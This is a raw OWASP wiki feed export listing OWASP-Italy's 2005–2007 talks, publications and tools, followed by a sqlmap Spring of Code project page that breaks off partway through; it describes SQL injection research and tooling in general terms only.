* Pictures:&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp Privacy Day Rome.JPG]]&lt;br /&gt;
[[Image:Allan.jpg]]&lt;br /&gt;
[[Image:Petroque.jpg]]&lt;br /&gt;
[[Image:Ice.jpg]]&lt;br /&gt;
&lt;br /&gt;
* Participation: We have received 160 subscriptions!!!&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_Day Here] you can read about the global OWASP-Day.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== May 29th, 2007 - Seminar: &amp;quot;Software Security&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* Stefano Di Paola, Paolo Perego and Matteo Meucci will talk at the Seminar: [http://www.sicurinfo.it/informazioni/visinf.asp?IDInfo=246&amp;amp;CAT=53 &amp;quot;Which approaches to Software Security&amp;quot;] organized by Firenze Tecnologia.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== May 15th-17th, 2007 - 6th OWASP AppSec Conference in Italy ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* We are in the initial planning stages for the next OWASP Europe conference, which we plan to hold in Italy in May 2007.&lt;br /&gt;
[http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007 Here] you can find all the details about the conference, cfp and sponsorship.&lt;br /&gt;
&lt;br /&gt;
=== April 14th, 2007 - Master on Information Security, University of Rome &amp;quot;La Sapienza&amp;quot;===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* We have done a 4h seminar for the students of [http://mastersicurezza.uniroma1.it/ Master on Information Security at &amp;quot;La Sapienza&amp;quot;] for the [http://icsecurity.di.uniroma1.it/dokuwiki/doku.php?id=projects:asp Application Security Project of &amp;quot;La Sapienza&amp;quot; University.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 30th, 2007 - University of Rome &amp;quot;La Sapienza&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* Thanks to Prof. Mancini and Roberto D'Addario, we will talk about OWASP at the convention &amp;quot;Institutions, Companies and Information Security: comparing the problems&amp;quot;&lt;br /&gt;
[http://w3.uniroma1.it/security/Eventi/eventi.html Here] you can find more details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2007 - EuSecWest 07 ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Alberto Revelli and Matteo Meucci presented the new OWASP Testing Guide at [http://www.eusecwest.com/agenda.html EUSecWest].&lt;br /&gt;
[http://www.owasp.org/images/e/e9/OWASP_Testing_Guide_Presentation_EUSecWest07.zip Here] you take a look at the presentation.&lt;br /&gt;
&lt;br /&gt;
=== February 6th-8th, 2007 - InfoSecurity ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* February 6th:15.30&lt;br /&gt;
After the great success obtained form CCC at Berlin, Stefano Di Paola and Giorgio Fedon will talk about:&amp;quot; Web Security Client Side: attacks at Web 2.0&amp;quot;&lt;br /&gt;
More information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=aqfi82GOKd6I748s1evI8Q%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
* February 6th:16.30&lt;br /&gt;
After the great effort on the Testing Guide Project, Matteo Meucci and Alberto Revelli will present: &amp;quot;The new OWASP Testing Guide&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=nq6tSIuRoPVJBanBSsRiSQ%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
* February 7th:12.30&lt;br /&gt;
Authors of innovative SQL injection tools, Alberto Revelli and Antonio Parata will show: &amp;quot;Advanced SQL Injection: testing tools and defensive strategies.&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=3z04F5BgZRgfU0YX8JRYtA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here]&lt;br /&gt;
&lt;br /&gt;
* February 7th:13.30&lt;br /&gt;
Author of the new OWASP Orizon project, Paolo Perergo will present:&amp;quot;Secure programming: from theory to practice&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=9HePIzyo5p29ylpGBl6CiA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
=== January 25th, 2007 - Isaca Rome ===&lt;br /&gt;
----&lt;br /&gt;
Matteo Meucci will discuss the new [http://www.owasp.org/index.php/Category:OWASP_Testing_Project OWASP Testing Guide v2]&amp;lt;br&amp;gt;&lt;br /&gt;
For more information:&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
=== October 7th, 2006 - SMAU 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
- &amp;quot;''The quest for secure code: code review and fundamental of secure coding.''&amp;quot;&lt;br /&gt;
Matteo Meucci will present an introduction to the new OWASP Projects and OWASP-Italy activities.&lt;br /&gt;
Paolo Perego (sp0nge) will speak about safe coding and the importance of code periodic review as natural software life cycle. Paolo will give a vision on code review and its phases&lt;br /&gt;
http://www.webb.it/event/eventview/5772&lt;br /&gt;
&lt;br /&gt;
Here are the presentations: &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Meucci_SMAU06.pdf| Meucci_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Perego_SMAU06.pdf| Perego_SMAU 06]]&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''Advanced SQL Injection.''&amp;quot;&lt;br /&gt;
Antonio Parata (S4tan) will explain SQL Injection, and how SQL Inference works on PHP/MySql platform. He will present an open source tool to support the testing. &lt;br /&gt;
Alberto Revelli (icesurfer) will focus on Microsoft SQL Server: he will perform a live demo of sqlninja (http://sqlninja.sf.net), explaining how to obtain a pseudo-shell over SQL, how to escalate privileges, and how to play with the exotic equation: &amp;quot;SQL Injection + debug.exe + DNS = DOS prompt&amp;quot; !&lt;br /&gt;
http://www.webb.it/event/eventview/5774&lt;br /&gt;
&lt;br /&gt;
[[Image:Revelli_SMAU06.pdf|Revelli_SMAU06 ]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Parata_SMAU06.pdf|Parate_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:OWASP-Italy_at_SMAU06_2.JPG]]&lt;br /&gt;
Luca, Carlo, Alberto, Antonio, Stefano &amp;lt;br&amp;gt;&lt;br /&gt;
Matteo, Paolo, Giorgio&lt;br /&gt;
&lt;br /&gt;
=== September 29th, 2006 - OpenExp 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
September 30th, at 10:45 Antonio Parata (S4tan) will speak about SQL Injection: techniques, tools and practical examples.&lt;br /&gt;
&lt;br /&gt;
Abstract: Antonio will introduce some basic concepts about software security. &lt;br /&gt;
It will be shown how SQL Inference works on PHP/MySql platform and presented an open source tool to support the testing. Finally will be listed some advises to avoid common bugs.&lt;br /&gt;
http://www.openexp.it/&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy will have a stand from September 29th to October 1st.&lt;br /&gt;
&lt;br /&gt;
[[Image:Antonio_Matteo_Carlo.JPG]]&lt;br /&gt;
[[Image:Antonio_speech.JPG]]&lt;br /&gt;
[[Image:Carlo.JPG]]&lt;br /&gt;
[[Image:Claudio_Luca.JPG]]&lt;br /&gt;
[[Image:Mayhem_Matteo.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner2.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== June 21th, 2006 - InfoSecurity 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. The event is organized and managed by the CLUSIT.&lt;br /&gt;
&lt;br /&gt;
Where: Sheraton Roma Hotel - Viale Del Pattinaggio, 100&lt;br /&gt;
When: 10,30 - 17,00&lt;br /&gt;
Who: Matteo Meucci and Alberto Revelli&lt;br /&gt;
Link: http://www.infosecurity.it/Roma/programma.php&lt;br /&gt;
&lt;br /&gt;
Agenda:&lt;br /&gt;
-- I Session --&lt;br /&gt;
Introduction to Web Application Security&lt;br /&gt;
• Which are the risks?&lt;br /&gt;
• Risk assessment of a web application&lt;br /&gt;
• Core pillars of web security&lt;br /&gt;
How to develop secure web applications:&lt;br /&gt;
• Guidelines and case-studies&lt;br /&gt;
&lt;br /&gt;
-- II Session --&lt;br /&gt;
How to realize a security audit of a web application&lt;br /&gt;
• The methodology OWASP Penetration Testing&lt;br /&gt;
• The tools: OWASP WebScarab&lt;br /&gt;
• Hands-on web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
• Advanced SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2006 - OWASP-Boston, Microsoft ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler (OWASP-Boston Chair), Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting of march.&lt;br /&gt;
[http://www.owasp.org/index.php/Boston More info here]&lt;br /&gt;
&lt;br /&gt;
=== November 5th, 2005 - IDC - European Banking Forum ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we have had a great speech at the IDC European IT Banking Forum 2005 (18 Nov 2005). http://www.idc.com/italy/events/banking05/banking05_agenda.jsp&lt;br /&gt;
Agenda:&lt;br /&gt;
* New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
* Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy.&lt;br /&gt;
&lt;br /&gt;
You can download the report [http://cdn.idc.com/italy/downloads/report_banking05_eng.pdf here].&lt;br /&gt;
&lt;br /&gt;
You can download the Case-Study of a vulnerable Home Banking Web Application [http://www.owasp.org/docroot/owasp/misc/IDC_BankingForum05v1.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== October 5th, 2005 - OWASP-Italy@SMAU2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
SMAU is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy.&lt;br /&gt;
Alberto Revelli (our Technical Director) and Matteo Meucci have conducted a seminar talking about Web Application Security.&lt;br /&gt;
Alberto has presented his new project: [http://sqlninja.sourceforge.net sqlninja]. Very cool!!&lt;br /&gt;
&lt;br /&gt;
http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili&lt;br /&gt;
&lt;br /&gt;
=== May 25th, 2005 - ISACA Rome 2nd meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
May 25th we'll be in ISACA Rome to present OWASP WebGoat and a real case of a Web Application Vulnerability.&lt;br /&gt;
Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.30 Registration&lt;br /&gt;
14.45 Matteo Meucci - Web Application Security Phase II&lt;br /&gt;
- OWASP WebScarab and PenTest Checklist&lt;br /&gt;
* A case-study of a Web Application Vulnerability: MMS Spoofing&lt;br /&gt;
--- Web Application analysis&lt;br /&gt;
--- Authentication and Billing of the MMS service&lt;br /&gt;
--- Vulnerabilities&lt;br /&gt;
--- Attack Analysis&lt;br /&gt;
* Learning the most common web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
--- Http Basics&lt;br /&gt;
--- HTML Clues&lt;br /&gt;
--- Hidden Field Tampering&lt;br /&gt;
--- How to spoof a Session Cookie&lt;br /&gt;
--- Stored Cross Site Scripting&lt;br /&gt;
--- Command Injection&lt;br /&gt;
--- SQL Injection&lt;br /&gt;
--- Fail Open Authentication&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050525/OWASP.zip here].&lt;br /&gt;
&lt;br /&gt;
=== May 18th, 2005 - Workshop on Computer Crime 2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
May 18th, 2005 OWASP-Italy is invited to present OWASP Top 10 to the &amp;quot;Workshop on Computer Crime 2005&amp;quot; titled:&lt;br /&gt;
&amp;quot;EVOLUZIONI NORMATIVE E RECENTI PROBLEMATICHE DI SICUREZZA&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The meeting is held at: Sala delle conferenze dell'Istituto Centrale della Banche Popolari Italiane Via Verziere, 11&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.owasp.org/images/a/aa/Top10-ComputerCrimes.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== March 31th, 2005 - ISACA Rome meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March 31th we'll be in ISACA Rome to present OWASP and the Web Application Security. Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.15 Registration&lt;br /&gt;
14.30 Matteo Meucci - Web Application Security&lt;br /&gt;
- OWASP Guide: how to build secure web application&lt;br /&gt;
- How to test your Web Application: WebScarab and the WebApp PenTest Checklist&lt;br /&gt;
- How to learn the most common web application vulnerability: WebGoat&lt;br /&gt;
- The Top Ten WebApp vulnerabilities&lt;br /&gt;
- Common error on developing Web Application:&lt;br /&gt;
Authentication mechanisms not &amp;quot;secure&amp;quot;&lt;br /&gt;
Buffer Overflow and crash of the service&lt;br /&gt;
Thief of identity: Cross Site Scripting&lt;br /&gt;
Manipulation of company data: SQL Injection&lt;br /&gt;
Reserved information: misconfiguration&lt;br /&gt;
Bad session management and thief of identity&lt;br /&gt;
- OWASP-Italy: projects and next challenges&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050331/meucci.zip here].&lt;br /&gt;
&lt;br /&gt;
=== March 21th, 2005 - OWASP-Italy conducts a seminar in AlmaWeb ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March, the 21th OWASP-Italy has been invited at the University of Bologna to conduct a seminar regards to [http://www.almaweb.unibo.it/830.dyn Master in Management and Information Technology] titled “Web Application Security and OWASP”. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
- OWASP &amp;amp; Web Application Security&lt;br /&gt;
- Common Web Application Vulnerabilities&lt;br /&gt;
- A real case of web application vulnerability: MMS Spoofing&amp;amp;Billing&lt;br /&gt;
- Training: WebGoat&lt;br /&gt;
&lt;br /&gt;
== Publications ==&lt;br /&gt;
&lt;br /&gt;
=== March, 2007 Interview on HTML.it ===&lt;br /&gt;
----&lt;br /&gt;
Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP :) )&lt;br /&gt;
[http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article.&lt;br /&gt;
&lt;br /&gt;
=== October, 2006 ISACA Roma interviews OWASP-Italy ===&lt;br /&gt;
----&lt;br /&gt;
After the speeches that OWASP-Italy has done at [http://www.smau.it/catnews.asp?l=2&amp;amp;codcat=385 SMAU E-Academy 2006], ISACA Roma has interviewed some of the people of the Italian chapter. Follow the links for the full interviews (in italian):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli ]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/322 Stefano Di Paola &amp;amp; Giorgio Fedon]]&lt;br /&gt;
&lt;br /&gt;
=== Aug, 2006 - Article on Banca Finanza magazine ===&lt;br /&gt;
----&lt;br /&gt;
Banca Finanza, the italian magazine about finance and banking, has interviewed Raoul Chiesa talking about the new risks for the on-line banking security. Raoul speaks about OWASP and web application security [[Media:042006BF.pdf]]&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Quaderno CLUSIT ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but it will be public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Paper on SQL Injection and Inference on PHP/MySQLInference ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Antonio &amp;quot;s4tan&amp;quot; Parata has published an article about SQL Injection based on Inference for testing web application on PHP/MySQL platform.&lt;br /&gt;
[http://www.ictsc.it/papers/sqlInferenceOnMySql.html Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== May, 2006 - Published an article about OWASP and Top-10 Vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published the article &amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;. [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== June, 2005 - OWASP Pen Test Checklist v 1.1 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Massimiliano Graziani we have translated in italian the &amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
=== May, 2005 - Isaca Roma Newsletter about OWASP-Italy ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ISACA Roma Newsletter has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published &amp;quot;MMS Spoofing&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
Jim Hewitt, CISSP PMP working at CGI-AMS, affirms (slide#78):&lt;br /&gt;
&amp;quot;Very interesting analysis of spoofed cell phone messaging and fraudulent billing&amp;quot;. See:&lt;br /&gt;
www.techvalleynyissa.org/Resources/2005_07_WebApplicationSecurity.ppt&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published an article on ICT Security magazine ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
=== March, 2005 - OWASP Top-10 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Tools &amp;amp; Research ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Nov, 2007 - sqlmap v0.5 ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released the fifth versions of the tool [http://sqlmap.sourceforge.net sqlmap]. sqlmap is an automatic SQL injection tool entirely developed in Python. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
You can download the latest stable version from its [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 SourceForge File List page] or the latest development version from its [https://sqlmap.svn.sourceforge.net/svnroot/sqlmap SourceForge SVN repository].&lt;br /&gt;
&lt;br /&gt;
=== Dec, 2006 - sqlmap v0.2 ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released a second version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://sqlmap.sourceforge.net/ Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
=== September, 2006 - Wisec Project ===&lt;br /&gt;
&lt;br /&gt;
Stefano Di Paola is developing Wisec - The Wiki Security Project [http://www.wisec.it Here] you can accesses the project.&lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1 ===&lt;br /&gt;
&lt;br /&gt;
Daniele Bellucci has developed a first version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://www.linux.it/~belch/?p=17 Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22939</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22939"/>
				<updated>2007-11-04T21:23:57Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': '''100%''' Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic SQL injection tool entirely developed in [http://www.python.org Python]. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
'''NOTE''': All objectives have been acoomplished within the deadline ([http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007#Schedule 5th of November 2007]), check the [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page] for details.&lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22933</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22933"/>
				<updated>2007-11-04T20:49:32Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': '''100%''' Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
